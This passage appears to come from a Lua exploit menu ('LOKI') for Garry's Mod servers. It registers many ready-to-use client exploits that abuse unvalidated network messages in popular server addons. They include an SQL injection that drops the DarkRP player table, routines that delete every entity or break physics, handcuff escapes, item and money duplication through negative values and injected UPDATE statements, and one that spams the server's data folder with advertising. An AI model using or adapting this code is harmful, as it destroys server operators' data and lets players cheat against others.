  3261. LOKI.AddExploit( "Break The Server", {
  3262. desc = "Vandalize the DarkRP master SQL database, permanently erasing all DarkRP player data",
  3263. severity = 100,
  3264. bools = {enabled = false},
  3265. status = 1,
  3266. times_per_tick = 1,
  3267. vars = {},
  3268. prevalidated = true,
  3269. scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay end,
  3270. hooks = {
  3271. Think = function(tbl, sploit)
  3272. local ass = {}
  3273. ass.tblname = "darkrp_player; DROP TABLE darkrp_player; CREATE TABLE darkrp_player(a STRING)"
  3274. ass.ply = LOKI.GetLP()
  3275. LOKI.NetStart(sploit, "pplay_sendtable")
  3276. net.WriteTable(ass)
  3277. net.SendToServer()
  3278. end,
  3279. },
  3280. functions = {
  3281. { typ = "func", Name = "Burn it down", },
  3282. },
  3283. } )
  3284. LOKI.AddExploit( "Break The Server", {
  3285. desc = "Will cause a nuclear implosion",
  3286. severity = 100,
  3287. bools = {enabled = false},
  3288. status = 2,
  3289. times_per_tick = 1,
  3290. vars = {},
  3291. scan = function() return LOKI.ValidNetString( "MDE_RemoveStuff_C2S" ) end,
  3292. hooks = {
  3293. Think = function(tbl, sploit)
  3294. for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
  3295. LOKI.NetStart( sploit, "MDE_RemoveStuff_C2S")
  3296. net.WriteTable( {DATA="",TARGET=v} )
  3297. net.SendToServer()
  3298. end
  3299. end,
  3300. },
  3301. functions = {
  3302. { typ = "func", Name = "Burn it down", },
  3303. },
  3304. } )
  3305. LOKI.AddExploit( "Break The Server", {
  3306. desc = "Will cause a nuclear implosion",
  3307. severity = 100,
  3308. bools = {enabled = false},
  3309. status = -1,
  3310. times_per_tick = 1,
  3311. vars = {},
  3312. scan = function() return LOKI.ValidNetString( "timebombDefuse" ) end,
  3313. hooks = {
  3314. Think = function(tbl, sploit)
  3315. for k, v in ipairs( LOKI.ents.FindByGlobal("") ) do
  3316. LOKI.NetStart( sploit, "timebombDefuse")
  3317. net.WriteEntity(v)
  3318. net.WriteBool(true)
  3319. net.SendToServer()
  3320. end
  3321. end,
  3322. },
  3323. functions = {
  3324. { typ = "func", Name = "Burn it down", },
  3325. },
  3326. } )
  3327. LOKI.AddExploit( "Break The Server", {
  3328. desc = "Irreversibly break the physics engine",
  3329. severity = 100,
  3330. bools = {enabled = false},
  3331. status = 1,
  3332. times_per_tick = 1,
  3333. vars = {},
  3334. scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
  3335. hooks = {
  3336. Think = function(tbl, sploit)
  3337. LOKI.NetStart(sploit, "dialogAlterWeapons", true)
  3338. net.WriteString("Add")
  3339. net.WriteTable({[1] = "worldspawn"})
  3340. net.SendToServer()
  3341. end,
  3342. },
  3343. functions = {
  3344. { typ = "func", Name = "Burn it down", },
  3345. },
  3346. } )
  3347. LOKI.AddExploit( "Cuff Breaker", {
  3348. desc = "Instantly break out of handcuffs",
  3349. severity = 1,
  3350. bools = {enabled = false},
  3351. status = 1,
  3352. times_per_tick = 1,
  3353. vars = {},
  3354. scan = function() return LOKI.ValidNetString( "Kun_ZiptieStruggle" ) end,
  3355. hooks = {
  3356. Think = function(tbl, sploit)
  3357. LOKI.NetStart( sploit, "Kun_ZiptieStruggle")
  3358. net.SendToServer()
  3359. end,
  3360. },
  3361. functions = {
  3362. { typ = "bool", },
  3363. },
  3364. } )
  3365. LOKI.AddExploit( "Cuff Breaker", {
  3366. desc = "Automatically break out of handcuffs",
  3367. severity = 1,
  3368. bools = {enabled = false},
  3369. status = 1,
  3370. times_per_tick = 1,
  3371. vars = {},
  3372. scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) end,
  3373. hooks = {
  3374. CreateMove = function(tbl, sploit, varargs)
  3375. local cmd = varargs[1]
  3376. if(LOKI.GetLP().IsHandcuffed(LOKI.GetLP())) then
  3377. if(cmd:TickCount() % 2 == 0) then
  3378. cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_ATTACK));
  3379. end
  3380. end
  3381. end,
  3382. },
  3383. functions = {
  3384. { typ = "bool", },
  3385. },
  3386. } )
  3387. LOKI.AddExploit( "Cuff Breaker", {
  3388. desc = "Instantly break out of handcuffs",
  3389. severity = 1,
  3390. bools = {enabled = false},
  3391. status = 1,
  3392. times_per_tick = 1,
  3393. vars = {},
  3394. scan = function() return LOKI.ValidNetString("realistic_hook BreakFree") end,
  3395. hooks = {
  3396. CreateMove = function(tbl, sploit, varargs)
  3397. local cmd = varargs[1]
  3398. local target_ents = LOKI.GetVarTable(ents.GetAll(), "GetTargetEnt", LOKI.TYPEVARS.EQUALTO, LOKI.GetLP())
  3399. if(target_ents[1]) then
  3400. if(cmd:TickCount() % 2 == 0) then
  3401. cmd:SetButtons(bit.bor(cmd:GetButtons(), IN_USE));
  3402. end
  3403. end
  3404. end,
  3405. },
  3406. functions = {
  3407. { typ = "bool", },
  3408. },
  3409. } )
  3410. LOKI.AddExploit( "Cuff Breaker", {
  3411. desc = "Instantly break out of handcuffs",
  3412. severity = 1,
  3413. bools = {enabled = false},
  3414. status = 1,
  3415. times_per_tick = 1,
  3416. vars = {},
  3417. scan = function() return isfunction(LOKI.GetLP().IsHandcuffed) && LOKI.ValidNetString("dialogAlterWeapons") end,
  3418. hooks = {
  3419. Think = function(tbl, sploit)
  3420. if(LOKI.GetLP():IsHandcuffed()) then
  3421. LOKI.NetStart( sploit, "dialogAlterWeapons", true)
  3422. net.WriteString("Remove")
  3423. net.WriteTable({[1] = "weapon_handcuffed"})
  3424. net.SendToServer()
  3425. end
  3426. end,
  3427. },
  3428. functions = {
  3429. { typ = "bool", },
  3430. },
  3431. } )
  3432. LOKI.AddExploit( "Entity Exploit", {
  3433. desc = "Unfreeze any entity",
  3434. severity = 50,
  3435. bools = {enabled = false},
  3436. status = 2,
  3437. times_per_tick = 1,
  3438. vars = {},
  3439. scan = function() return LOKI.ValidNetString("zrush_FuelSplitUIGotClosed_net") end,
  3440. hooks = {
  3441. CreateMove = function(tbl, sploit, varargs)
  3442. local tbl = LOKI.RecursiveGetVar(sploit, {"bools"}, "table", true)
  3443. if(tbl.enabled) then
  3444. local ent = LOKI.GetLP():GetEyeTrace().Entity
  3445. if(IsValid(ent) && varargs[1]:KeyDown(IN_ATTACK)) then
  3446. LOKI.NetStart(sploit, "zrush_FuelSplitUIGotClosed_net")
  3447. net.WriteFloat(ent:EntIndex())
  3448. net.SendToServer()
  3449. end
  3450. end
  3451. end,
  3452. },
  3453. functions = {
  3454. { typ = "bool", },
  3455. },
  3456. } )
  3457. LOKI.AddExploit( "Entity Exploit", {
  3458. desc = "Give yourself any entity",
  3459. severity = 50,
  3460. bools = {enabled = false},
  3461. status = 1,
  3462. times_per_tick = 1,
  3463. vars = {},
  3464. scan = function() return LOKI.ValidNetString( "CRAFTINGMOD_INVENTORY" ) end,
  3465. hooks = {
  3466. Think = function(tbl, sploit)
  3467. local vars = LOKI.RecursiveGetVar(sploit, {"vars"}, "table", true)
  3468. if(!vars.NAME) then
  3469. local ItemsList = LOKI.RecursiveGetVar(CRAFTINGMOD, {"ITEMS", "GetItemsList"}, "function")
  3470. if(ItemsList) then
  3471. for k, v in pairs(ItemsList(CRAFTINGMOD.ITEMS)) do
  3472. if(!v.LoadData) then
  3473. vars.NAME = v.NAME
  3474. break
  3475. end
  3476. end
  3477. end
  3478. end
  3479. for i = 1, LOKI.GetStored("entity1_q") do
  3480. LOKI.NetStart(sploit, "CRAFTINGMOD_INVENTORY", true)
  3481. net.WriteTable({type = 6, ENTITY = LOKI.GetStored( "entity1" ), SKIN = 0, MODEL = LOKI.GetStored("entity1_m"), NAME = vars.NAME || "Beer"})
  3482. net.WriteInt(0, 16)
  3483. net.WriteString(tostring(LOKI.RecursiveGetVar(CRAFTINGMOD, {"PANELS", "Inventory_ID"}, "string") || 0))
  3484. net.SendToServer()
  3485. end
  3486. end,
  3487. },
  3488. functions = {
  3489. { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity1" },
  3490. { typ = "string", Name = "Entity Model", default = "models/error.mdl", addr = "entity1_m" },
  3491. { typ = "float", addr = "entity1_q", Name = "Amount", min = 1, max = LOKI.RecursiveGetVar(_G, {"CRAFTINGMOD", "Config", "PropLimit"}, "number") || math.huge, default = 1 },
  3492. { typ = "func", Name = "Give me shit", },
  3493. },
  3494. } )
  3495. LOKI.AddExploit( "Entity Exploit", {
  3496. desc = "With just a wave of my magic wand...",
  3497. severity = 100,
  3498. bools = {enabled = false},
  3499. status = 1,
  3500. times_per_tick = math.huge,
  3501. scan = function() return LOKI.ValidNetString("STOOL_FISHSPOT_REMOVE") end,
  3502. hooks = {
  3503. net = {
  3504. SendToServer = function(sploit, varargs, func)
  3505. func(unpack(varargs))
  3506. if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack1", "remove")) then
  3507. LOKI.NetStart(sploit, "STOOL_FISHSPOT_REMOVE")
  3508. net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
  3509. net.SendToServer()
  3510. end
  3511. return false
  3512. end,
  3513. },
  3514. /*_G = {
  3515. SortedPairsByMemberValue = function(sploit, varargs, func)
  3516. local PropertyList = varargs[1]
  3517. if(istable(PropertyList) && PropertyList["remove"] && PropertyList["remove"]["Filter"] && sploit.bools.enabled) then
  3518. local tbl = table.Copy(PropertyList)
  3519. tbl["remove"]["Filter"] = function() return true end
  3520. return func(unpack(varargs))
  3521. end
  3522. end,
  3523. },*/
  3524. },
  3525. functions = {
  3526. { typ = "string", Name = "Utility", default = "remove", addr = "util_jack1" },
  3527. { typ = "bool" },
  3528. },
  3529. } )
  3530. LOKI.AddExploit( "Entity Exploit", {
  3531. desc = "Some disassembly required",
  3532. severity = 100,
  3533. bools = {enabled = false},
  3534. status = 1,
  3535. times_per_tick = math.huge,
  3536. scan = function() return LOKI.ValidNetString("DestroyTable") end,
  3537. hooks = {
  3538. net = {
  3539. SendToServer = function(sploit, varargs, func)
  3540. func(unpack(varargs))
  3541. if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack2", "remove")) then
  3542. LOKI.NetStart(sploit, "DestroyTable")
  3543. net.WriteEntity(Entity(LOKI.NetOutgoingData[2][1]))
  3544. net.SendToServer()
  3545. end
  3546. return false
  3547. end,
  3548. },
  3549. },
  3550. functions = {
  3551. { typ = "string", Name = "Utility", default = "remove", addr = "util_jack2" },
  3552. { typ = "bool" },
  3553. },
  3554. } )
  3555. LOKI.AddExploit( "Entity Exploit", {
  3556. desc = "Set your playermodel to anything",
  3557. severity = 50,
  3558. bools = {enabled = false},
  3559. status = 1,
  3560. times_per_tick = 1,
  3561. vars = {},
  3562. scan = function() return LOKI.ValidNetString( "SetPlayerModel" ) end,
  3563. hooks = {
  3564. Think = function(tbl, sploit)
  3565. LOKI.NetStart(sploit, "SetPlayerModel")
  3566. net.WriteString(LOKI.GetStored( "entity2_m" ))
  3567. net.SendToServer()
  3568. end,
  3569. },
  3570. functions = {
  3571. { typ = "string", Name = "Model", default = "models/error.mdl", addr = "entity2_m" },
  3572. { typ = "func", Name = "Do it", },
  3573. },
  3574. } )
  3575. LOKI.AddExploit( "Entity Exploit", {
  3576. desc = "Take a sip from the cup of destruction",
  3577. severity = 100,
  3578. bools = {enabled = false},
  3579. status = 1,
  3580. times_per_tick = math.huge,
  3581. scan = function() return LOKI.ValidNetString("AS_DoAttack") end,
  3582. hooks = {
  3583. net = {
  3584. SendToServer = function(sploit, varargs, func)
  3585. func(unpack(varargs))
  3586. if(sploit.bools.enabled && LOKI.NetOutgoingMsg == "properties" && istable(LOKI.NetOutgoingData[1]) && LOKI.NetOutgoingData[1][1] == LOKI.GetStored("util_jack3", "remove")) then
  3587. LOKI.NetStart(sploit, "AS_DoAttack")
  3588. net.WriteTable({Weapon = Entity(LOKI.NetOutgoingData[2][1]):EntIndex(), Target = 0})
  3589. net.SendToServer()
  3590. end
  3591. return false
  3592. end,
  3593. },
  3594. },
  3595. functions = {
  3596. { typ = "string", Name = "Utility", default = "remove", addr = "util_jack3" },
  3597. { typ = "bool" },
  3598. },
  3599. } )
  3600. LOKI.AddExploit( "Entity Exploit", {
  3601. desc = "Give yourself any entity",
  3602. severity = 50,
  3603. bools = {enabled = false},
  3604. status = 1,
  3605. times_per_tick = 1,
  3606. vars = {},
  3607. scan = function() return LOKI.ValidNetString( "dialogAlterWeapons" ) end,
  3608. hooks = {
  3609. Think = function(tbl, sploit)
  3610. for k, v in ipairs(string.Split( LOKI.GetStored("entity2", "sent_ball"), "," )) do
  3611. for i = 1, LOKI.GetStored("entity2_q") do
  3612. LOKI.NetStart(sploit, "dialogAlterWeapons", true)
  3613. net.WriteString("Add")
  3614. net.WriteTable({[1] = v})
  3615. net.SendToServer()
  3616. end
  3617. end
  3618. end,
  3619. },
  3620. functions = {
  3621. { typ = "string", Name = "Entity Class", default = "sent_ball", addr = "entity2" },
  3622. { typ = "float", addr = "entity2_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
  3623. { typ = "func", Name = "Give me shit", },
  3624. },
  3625. } )
  3626. LOKI.AddExploit( "Entity Exploit", {
  3627. desc = "Spawn any inventory item",
  3628. severity = 50,
  3629. bools = {enabled = false},
  3630. status = 1,
  3631. times_per_tick = math.huge,
  3632. prevalidated = true,
  3633. scan = function()
  3634. local ret = LOKI.ValidNetString( "InvSV" ) && istable(Items)
  3635. if(ret) then
  3636. for k, v in pairs(Items) do
  3637. v.ClassName = k
  3638. end
  3639. end
  3640. return ret
  3641. end,
  3642. hooks = {
  3643. Think = function(tbl, sploit)
  3644. for i = 1, LOKI.GetStored("entity3_q") do
  3645. LOKI.NetStart( sploit, "InvSV", true )
  3646. net.WriteTable({})
  3647. net.WriteString("DropItem")
  3648. net.WriteString(LOKI.GetStored("entity3", "")[1])
  3649. net.SendToServer()
  3650. end
  3651. end,
  3652. },
  3653. functions = {
  3654. { typ = "combo", Name = "Entity", tbl = Items, var = "ClassName", sort = "ClassName", default = {}, addr = "entity3" },
  3655. { typ = "float", addr = "entity3_q", Name = "Amount", min = 1, max = math.huge, default = 1 },
  3656. { typ = "func", Name = "Spawn", },
  3657. },
  3658. } )
  3659. LOKI.AddExploit( "Entity Exploit", {
  3660. desc = "Become invisible",
  3661. severity = 50,
  3662. bools = {enabled = false},
  3663. status = 1,
  3664. times_per_tick = math.huge,
  3665. general_override = true,
  3666. scan = function()
  3667. return LOKI.ValidNetString( "camo_PlayerInvis" )
  3668. end,
  3669. OnEnable = function(var, sploit)
  3670. if(var != "invisible") then return end
  3671. LOKI.NetStart( sploit, "camo_PlayerInvis", true )
  3672. net.WriteBool( true )
  3673. net.SendToServer()
  3674. end,
  3675. OnDisable = function(var, sploit)
  3676. if(var != "invisible") then return end
  3677. LOKI.NetStart( sploit, "camo_PlayerInvis", true )
  3678. net.WriteBool( false )
  3679. net.SendToServer()
  3680. end,
  3681. functions = {
  3682. { typ = "bool", ToggleText = {"Cloak"}, border = true, bool = "invisible" },
  3683. },
  3684. } )
  3685. LOKI.AddExploit( "Movement Exploit", {
  3686. desc = "My name is Barry Allen...",
  3687. severity = 50,
  3688. bools = {enabled = false},
  3689. status = 1,
  3690. times_per_tick = 1,
  3691. scan = function() return LOKI.ValidNetString("XMH_RunOneLineLua") end,
  3692. count = {
  3693. ["Active"] = 3,
  3694. ["Total"] = 3,
  3695. },
  3696. hooks = {
  3697. Think = function(tbl, sploit)
  3698. LOKI.NetStart(sploit, "XMH_RunOneLineLua")
  3699. net.WriteString("xmh_walkspeed_var")
  3700. net.WriteInt(LOKI.GetStored("dbx_wlk"), 16)
  3701. net.SendToServer()
  3702. LOKI.NetStart(sploit, "XMH_RunOneLineLua")
  3703. net.WriteString("xmh_runspeed_var")
  3704. net.WriteInt(LOKI.GetStored("dbx_run"), 16)
  3705. net.SendToServer()
  3706. LOKI.NetStart(sploit, "XMH_RunOneLineLua")
  3707. net.WriteString("xmh_jumpheight_var")
  3708. net.WriteInt(LOKI.GetStored("dbx_jmp"), 16)
  3709. net.SendToServer()
  3710. end,
  3711. },
  3712. functions = {
  3713. { typ = "float", Name = "Walk Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 160, addr = "dbx_wlk" },
  3714. { typ = "float", Name = "Run Speed", min = 1, max = math.floor(2^16 / 2)-1, default = 240, addr = "dbx_run" },
  3715. { typ = "float", Name = "Jump Height", min = 1, max = math.floor(2^16 / 2)-1, default = 200, addr = "dbx_jmp" },
  3716. { typ = "func", Name = "Do it"},
  3717. },
  3718. } )
  3719. LOKI.AddExploit( "Movement Exploit", {
  3720. desc = "Become a triathlon runner",
  3721. severity = 1,
  3722. bools = {enabled = false},
  3723. status = 1,
  3724. times_per_tick = 1,
  3725. prevalidated = true,
  3726. scan = function() return LOKI.ValidNetString("StaminaDrowning") && LOKI.GetLP().BurgerStamina != nil && LOKI.GetLP().BurgerMaxStamina != nil end,
  3727. hooks = {
  3728. CreateMove = function()
  3729. LOKI.GetLP().BurgerStamina = LOKI.GetLP().BurgerMaxStamina
  3730. end,
  3731. },
  3732. functions = {
  3733. { typ = "bool" },
  3734. },
  3735. } )
  3736. LOKI.AddExploit( "Movement Exploit", {
  3737. desc = "Become a triathlon runner",
  3738. severity = 1,
  3739. bools = {enabled = false},
  3740. status = 1,
  3741. times_per_tick = 1,
  3742. scan = function() return isfunction(StopSprint) && LOKI.GetLP():GetNWInt( "stamina", false ) != false end,
  3743. vars = {stamina = 0},
  3744. hooks = {
  3745. Tick = function(tbl, sploit)
  3746. LOKI.GetLP():SetNWInt( "stamina", math.huge )
  3747. end,
  3748. },
  3749. functions = {
  3750. { typ = "bool" },
  3751. },
  3752. } )
  3753. LOKI.AddExploit( "Vandalize Server Data", {
  3754. desc = "Vandalize the servers data folder, probably won't do any real damage but will annoy their devs",
  3755. severity = 90,
  3756. bools = {enabled = false},
  3757. status = 2,
  3758. times_per_tick = math.huge,
  3759. vars = {},
  3760. scan = function() return LOKI.ValidNetString( "WriteQuery" ) end,
  3761. hooks = {
  3762. Think = function(tbl, sploit)
  3763. LOKI.NetStart( sploit, "WriteQuery" )
  3764. net.WriteString( "BUY ODIUM.PRO"..string.rep( "!", math.random( 1, 50 ) ) )
  3765. net.SendToServer()
  3766. end,
  3767. },
  3768. functions = {
  3769. { typ = "bool", },
  3770. },
  3771. } )
  3772. LOKI.AddExploit( "Money Exploit", {
  3773. desc = "Give people a crapton of money",
  3774. severity = 90,
  3775. bools = {enabled = false},
  3776. status = 1,
  3777. times_per_tick = 1,
  3778. vars = {},
  3779. prevalidated = true,
  3780. scan = function() return LOKI.ValidNetString( "SendMoney" ) && net.Receivers["confpanel"] end,
  3781. hooks = {
  3782. Think = function(tbl, sploit)
  3783. for k, v in ipairs( LOKI.GetStored( "shekels1_plyz", {} ) ) do
  3784. if IsValid(v) then
  3785. LOKI.NetStart( sploit, "SendMoney" )
  3786. net.WriteEntity( v )
  3787. net.WriteEntity( v )
  3788. net.WriteEntity( v )
  3789. net.WriteString( tostring(-LOKI.SafeToNumber(LOKI.GetStored( "shekels1" ))) )
  3790. net.SendToServer()
  3791. end
  3792. end
  3793. end,
  3794. },
  3795. functions = {
  3796. { typ = "players", addr = "shekels1_plyz" },
  3797. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels1" },
  3798. { typ = "func", Name = "Give shekels", },
  3799. },
  3800. } )
  3801. LOKI.AddExploit( "Money Exploit", {
  3802. desc = "Give yourself a crapton of money",
  3803. severity = 50,
  3804. bools = {enabled = false},
  3805. status = 1,
  3806. times_per_tick = 1,
  3807. vars = {},
  3808. scan = function() return LOKI.ValidNetString( "BailOut" ) end,
  3809. hooks = {
  3810. Think = function(tbl, sploit)
  3811. LOKI.NetStart( sploit, "BailOut" )
  3812. net.WriteEntity( LOKI.GetLP() )
  3813. net.WriteEntity( LOKI.GetLP() )
  3814. net.WriteFloat( -LOKI.SafeToNumber(LOKI.GetStored( "shekels2" )) )
  3815. net.SendToServer()
  3816. end,
  3817. },
  3818. functions = {
  3819. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels2" },
  3820. { typ = "func", Name = "Give me shekels", },
  3821. },
  3822. } )
  3823. LOKI.AddExploit( "Money Exploit", {
  3824. desc = "Give yourself a crapton of money",
  3825. severity = 50,
  3826. bools = {enabled = false},
  3827. status = 2,
  3828. times_per_tick = 1,
  3829. vars = {},
  3830. scan = function() return LOKI.ValidNetString( "casinokit_chipexchange" ) && LOKI.GetLP().getDarkRPVar end,
  3831. hooks = {
  3832. Think = function(tbl, sploit)
  3833. local moneylog = LOKI.GetLP():getDarkRPVar("money")
  3834. LOKI.NetStart( sploit, "casinokit_chipexchange")
  3835. net.WriteEntity(LOKI.GetLP())
  3836. net.WriteString("darkrp")
  3837. net.WriteBool(true)
  3838. net.WriteUInt(LOKI.GetLP():getDarkRPVar("money"),32)
  3839. net.SendToServer()
  3840. for i=1, 10 do
  3841. LOKI.NetStart( sploit, "casinokit_chipexchange")
  3842. net.WriteEntity(LOKI.GetLP())
  3843. net.WriteString("darkrp")
  3844. net.WriteBool(false)
  3845. net.WriteUInt(moneylog*0.10,32)
  3846. net.SendToServer()
  3847. end
  3848. end,
  3849. },
  3850. functions = {
  3851. { typ = "func", Name = "Give me shekels", },
  3852. },
  3853. } )
  3854. LOKI.AddExploit( "Money Exploit", {
  3855. desc = "Give yourself a crapton of money",
  3856. severity = 50,
  3857. bools = {enabled = false},
  3858. status = 1,
  3859. times_per_tick = 1,
  3860. vars = {},
  3861. scan = function() return LOKI.ValidNetString( "hitcomplete" ) && LOKI.GetLP().getDarkRPVar end,
  3862. hooks = {
  3863. Think = function(tbl, sploit)
  3864. LOKI.NetStart( sploit, "hitcomplete")
  3865. net.WriteDouble( LOKI.GetStored( "shekels4" ) )
  3866. net.SendToServer()
  3867. end,
  3868. },
  3869. functions = {
  3870. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels4" },
  3871. { typ = "func", Name = "Give me shekels", },
  3872. },
  3873. } )
  3874. LOKI.AddExploit( "Money Exploit", {
  3875. desc = "Give yourself a crapton of money",
  3876. severity = 50,
  3877. bools = {enabled = false},
  3878. status = 1,
  3879. times_per_tick = 1,
  3880. vars = {},
  3881. scan = function() return LOKI.ValidNetString( "WithdrewBMoney" ) && LOKI.GetLP().getDarkRPVar end,
  3882. hooks = {
  3883. Think = function(tbl, sploit)
  3884. LOKI.NetStart( sploit, "WithdrewBMoney" )
  3885. net.WriteInt( LOKI.GetStored( "shekels5" ), 32 )
  3886. net.SendToServer()
  3887. end,
  3888. },
  3889. functions = {
  3890. { typ = "float", Name = "Amount", min = 1, max = 50000, default = 1000, addr = "shekels5" },
  3891. { typ = "func", Name = "Give me shekels", },
  3892. },
  3893. } )
  3894. LOKI.AddExploit( "Money Exploit", {
  3895. desc = "Give yourself a crapton of money",
  3896. severity = 50,
  3897. bools = {enabled = false},
  3898. status = 1,
  3899. times_per_tick = 1,
  3900. vars = {},
  3901. scan = function() return LOKI.ValidNetString( "ClickerAddToPoints" ) && LOKI.GetLP().getDarkRPVar end,
  3902. hooks = {
  3903. Think = function(tbl, sploit)
  3904. LOKI.NetStart( sploit, "ClickerAddToPoints")
  3905. net.WriteInt(LOKI.GetStored( "shekels6" ), 32)
  3906. net.SendToServer()
  3907. end,
  3908. },
  3909. functions = {
  3910. { typ = "float", Name = "Amount", min = 1, max = (math.pow(2, 32)-1)/2, default = 1000, addr = "shekels6" },
  3911. { typ = "func", Name = "Give me shekels", },
  3912. },
  3913. } )
  3914. LOKI.AddExploit( "Money Exploit", {
  3915. desc = "Give yourself a crapton of money",
  3916. severity = 50,
  3917. bools = {enabled = false},
  3918. status = 2,
  3919. times_per_tick = 1,
  3920. vars = {},
  3921. scan = function() return LOKI.ValidNetString( "ckit_roul_bet" ) && LOKI.GetLP().getDarkRPVar end,
  3922. hooks = {
  3923. Think = function(tbl, sploit)
  3924. LOKI.NetStart( sploit, "ckit_roul_bet")
  3925. net.WriteEntity(LOKI.GetLP())
  3926. net.WriteString("")
  3927. net.WriteString("")
  3928. net.WriteUInt(-LOKI.SafeToNumber(LOKI.GetStored( "shekels7" )), 16)
  3929. net.SendToServer()
  3930. end,
  3931. },
  3932. functions = {
  3933. { typ = "float", Name = "Amount", min = 1, max = math.pow(2, 16)-1, default = 1000, addr = "shekels7" },
  3934. { typ = "func", Name = "Give me shekels", },
  3935. },
  3936. } )
  3937. LOKI.AddExploit( "Money Exploit", {
  3938. desc = "Give yourself a crapton of money",
  3939. severity = 50,
  3940. bools = {enabled = false},
  3941. status = -1,
  3942. times_per_tick = 1,
  3943. vars = {},
  3944. scan = function() return LOKI.ValidNetString( "duelrequestguiYes" ) && LOKI.GetLP().getDarkRPVar end,
  3945. hooks = {
  3946. Think = function(tbl, sploit)
  3947. LOKI.NetStart( sploit, "duelrequestguiYes")
  3948. net.WriteInt(0xFFFFFFFF,32)
  3949. net.WriteEntity(table.Random( player.GetAll() ) )
  3950. net.WriteString("Crossbow")
  3951. net.SendToServer()
  3952. end,
  3953. },
  3954. functions = {
  3955. { typ = "func", Name = "Give me shekels", },
  3956. },
  3957. } )
  3958. LOKI.AddExploit( "Money Exploit", {
  3959. desc = "Give yourself a crapton of money",
  3960. severity = 50,
  3961. bools = {enabled = false},
  3962. status = 1,
  3963. times_per_tick = 1,
  3964. vars = {},
  3965. prevalidated = true,
  3966. scan = function() return LOKI.ValidNetString( "pplay_sendtable", "pplay_deleterow" ) && cl_PPlay && LOKI.GetLP().getDarkRPVar end,
  3967. hooks = {
  3968. Think = function(tbl, sploit)
  3969. for k, v in ipairs( LOKI.GetStored( "shekels2_plyz", {} ) ) do
  3970. if IsValid(v) then
  3971. local ass = {}
  3972. ass.tblname = "darkrp_player; UPDATE darkrp_player SET wallet = "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:SteamID64() .. "; UPDATE darkrp_player SET wallet "..LOKI.SafeToNumber(LOKI.GetStored( "shekels9" )).." WHERE uid = " .. v:UniqueID()
  3973. ass.ply = v
  3974. LOKI.NetStart( sploit, "pplay_sendtable")
  3975. net.WriteTable(ass)
  3976. net.SendToServer()
  3977. end
  3978. end
  3979. end,
  3980. },
  3981. functions = {
  3982. { typ = "players", addr = "shekels2_plyz" },
  3983. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels9" },
  3984. { typ = "func", Name = "Give shekels", },
  3985. },
  3986. } )
  3987. LOKI.AddExploit( "Money Exploit", {
  3988. desc = "Effectiveness varies server to server",
  3989. severity = 50,
  3990. bools = {enabled = false},
  3991. status = 1,
  3992. times_per_tick = 1,
  3993. vars = {},
  3994. scan = function() return LOKI.ValidNetString( "RevivePlayer" ) && LOKI.GetLP().getDarkRPVar end,
  3995. hooks = {
  3996. Think = function(tbl, sploit)
  3997. local r_tbl = LOKI.RecursiveGetVar(sploit, {"vars", "Think"}, "table", true)
  3998. if(r_tbl.cooldown == 0) then
  3999. r_tbl.cooldown = (LOKI.REAL_CURTIME + LOKI.SafeToNumber(LOKI.GetStored( "shekels10" )))
  4000. end
  4001. LOKI.NetStart( sploit, "RevivePlayer")
  4002. net.SendToServer()
  4003. end,
  4004. },
  4005. functions = {
  4006. { typ = "float", Name = "Cooldown", min = 1, max = 300, default = 60, addr = "shekels10" },
  4007. { typ = "bool" },
  4008. },
  4009. } )
  4010. LOKI.AddExploit( "Money Exploit", {
  4011. desc = "Give people a crapton of money",
  4012. severity = 50,
  4013. bools = {enabled = false},
  4014. status = -1,
  4015. times_per_tick = 1,
  4016. vars = {},
  4017. scan = function() return LOKI.ValidNetString( "75_plus_win" ) end,
  4018. hooks = {
  4019. Think = function(tbl, sploit)
  4020. for k, v in ipairs( LOKI.GetStored( "shekels11_plyz", {} ) ) do
  4021. if IsValid(v) then
  4022. LOKI.NetStart( sploit, "75_plus_win" )
  4023. net.WriteString( LOKI.GetStored( "shekels11" ) )
  4024. net.WriteEntity(v)
  4025. net.SendToServer()
  4026. end
  4027. end
  4028. end,
  4029. },
  4030. functions = {
  4031. { typ = "players", addr = "shekels11_plyz" },
  4032. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels11" },
  4033. { typ = "func", Name = "Give shekels", },
  4034. },
  4035. } )
  4036. LOKI.AddExploit( "Money Exploit", {
  4037. desc = "Give yourself a crapton of money",
  4038. severity = 50,
  4039. bools = {enabled = false},
  4040. status = -1,
  4041. times_per_tick = 1,
  4042. vars = {},
  4043. scan = function() return LOKI.ValidNetString( "ATMDepositMoney" ) end,
  4044. hooks = {
  4045. Think = function(tbl, sploit)
  4046. LOKI.NetStart( sploit, "ATMDepositMoney" )
  4047. net.WriteFloat( -LOKI.GetStored( "shekels12" ) )
  4048. net.SendToServer()
  4049. end,
  4050. },
  4051. functions = {
  4052. { typ = "float", Name = "Amount", min = 1, max = 100000, default = 1000, addr = "shekels12" },
  4053. { typ = "func", Name = "Give me shekels", },
  4054. },
  4055. } )
  4056. LOKI.AddExploit( "Money Exploit", {
  4057. desc = "Give yourself a crapton of money",
  4058. severity = 50,
  4059. bools = {enabled = false},
  4060. status = -1,
  4061. times_per_tick = 1,
  4062. vars = {},
  4063. scan = function() return LOKI.ValidNetString( "SellMinerals", "Upgrade" ) end,
  4064. hooks = {
  4065. Think = function(tbl, sploit)
  4066. if(SkillDB && istable(SkillDB)) then
  4067. for k1,v1 in pairs(SkillDB) do
  4068. if not ( v1.iSkill == true ) then
